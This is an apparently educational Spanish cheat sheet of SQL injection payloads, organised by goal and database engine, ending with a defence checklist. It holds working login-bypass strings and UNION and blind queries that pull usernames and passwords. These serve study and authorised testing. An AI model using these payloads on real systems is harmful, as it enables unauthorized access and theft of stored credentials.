ESGEEKS · ESGEEKS.COM

Cheat Sheet — Payloads de Inyección SQL

Referencia rápida por objetivo y por DBMS

> **Uso ético y de laboratorio.** Material de aprendizaje y defensa para entornos propios, bug bounty autorizado y CTF. Probar estas técnicas contra sistemas de terceros sin permiso es delito. Versión completa, con extracción avanzada y mitigación detallada, en el artículo de esgeeks.com.

1 · Detección rápida

- Inyecta una comilla `'` (o `"`). Si aparece un error distinto al habitual → posible SQLi.
- Sin salida visible, prueba a ciegas por tiempo: `1' AND sleep(5)` (reacción por el retraso).
- Si el endpoint es JSON, prueba NoSQL aparte: `{"name":{"$ne": ""}}`.

2 · Sintaxis esencial por DBMS

Operación	Oracle	SQL Server	PostgreSQL	MySQL
Comentario	`--comment`	`--comment`	`--comment`	`#`, `-- `, `/*..*/`
Versión	`SELECT banner FROM v$version`	`SELECT @@version`	`SELECT version()`	`SELECT @@version`
Concatenar	`'foo'||'bar'`	`'foo'+'bar'`	`'foo'||'bar'`	`CONCAT('foo','bar')`
Retraso 10s	`dbms_pipe.receive_message(('a'),10)`	`WAITFOR DELAY '0:0:10'`	`SELECT pg_sleep(10)`	`SELECT SLEEP(10)`

El espacio tras `--` solo lo exige MySQL; el resto comenta con `--` sin espacio.

3 · Recopilación de información (UNION)

```
-- Versión
' UNION SELECT @@version, NULL --              (MySQL / SQL Server)
' UNION SELECT version(), NULL --              (PostgreSQL)
' UNION SELECT banner, NULL FROM v$version WHERE ROWNUM=1 --   (Oracle)

-- Usuario / base de datos
' UNION SELECT user(), database() --           (MySQL)
' UNION SELECT current_user, current_database() --   (PostgreSQL)

-- Tablas y columnas (information_schema)
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='target_db' --
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
```

4 · Evasión de autenticación

En el usuario:

```
admin' --
admin' #
' OR '1'='1
' OR 'x'='x
```

En la contraseña:

```
' OR '1'='1
' OR 1=1 --
```

`admin'--` sin espacio funciona en SQL Server, Oracle, PostgreSQL y SQLite; en MySQL usa `admin'--` (con espacio) o `admin'#`.

5 · Extracción de datos

UNION — pasos:

```
' ORDER BY 3 --                      -- 1. número de columnas (sube hasta que falle)
' UNION SELECT NULL, 'a', NULL --    -- 2. qué columna admite texto
' UNION SELECT NULL, username, password FROM users --   -- 3. extracción
```

Ciega por booleanos:

```
' AND SUBSTRING(user(),1,1)='a' --
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),3,1))=120 --
```

Ciega por tiempo:

```
' AND IF(SUBSTRING(user(),1,1)='r', SLEEP(5), 0) --        (MySQL)
' AND CASE WHEN (SUBSTRING(user(),1,1)='p') THEN pg_sleep(5) ELSE NULL END --   (PostgreSQL)
' IF (SUBSTRING(DB_NAME(),1,1)='m') WAITFOR DELAY '0:0:5' --   (SQL Server)
```

6 · Sintaxis de comentarios

Sintaxis	DBMS	Nota
`--`	MySQL, PostgreSQL, SQL Server, Oracle, SQLite	El espacio tras `--` solo es obligatorio en MySQL
`#`	MySQL	También sirve como huella de MySQL/MariaDB
`/* ... */`	MySQL, PostgreSQL, SQL Server, Oracle	Fácil de detectar por WAF

7 · Defensa — checklist

Medida	Por qué funciona
Consultas parametrizadas / prepared statements	Separan código y datos: la entrada nunca cambia la sintaxis
API seguras de ORM	Fuerzan los límites de la abstracción
Lista blanca de entradas	Rechaza lo inesperado (útil en `ORDER BY`, nombres de columna)
Usuario de BD con mínimo privilegio	Limita el radio de impacto (sin `DROP`, `GRANT`, FS)
Deshabilitar consultas apiladas	Corta la inyección destructiva y de comandos
Ocultar errores detallados	Bloquea la extracción basada en errores

```
# Seguro (Python)
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

# Peligroso — nunca concatenes la entrada
query = f"SELECT * FROM users WHERE email = '{email}'"
```

Referencias: PortSwigger Web Security Academy · OWASP SQL Injection Prevention Cheat Sheet.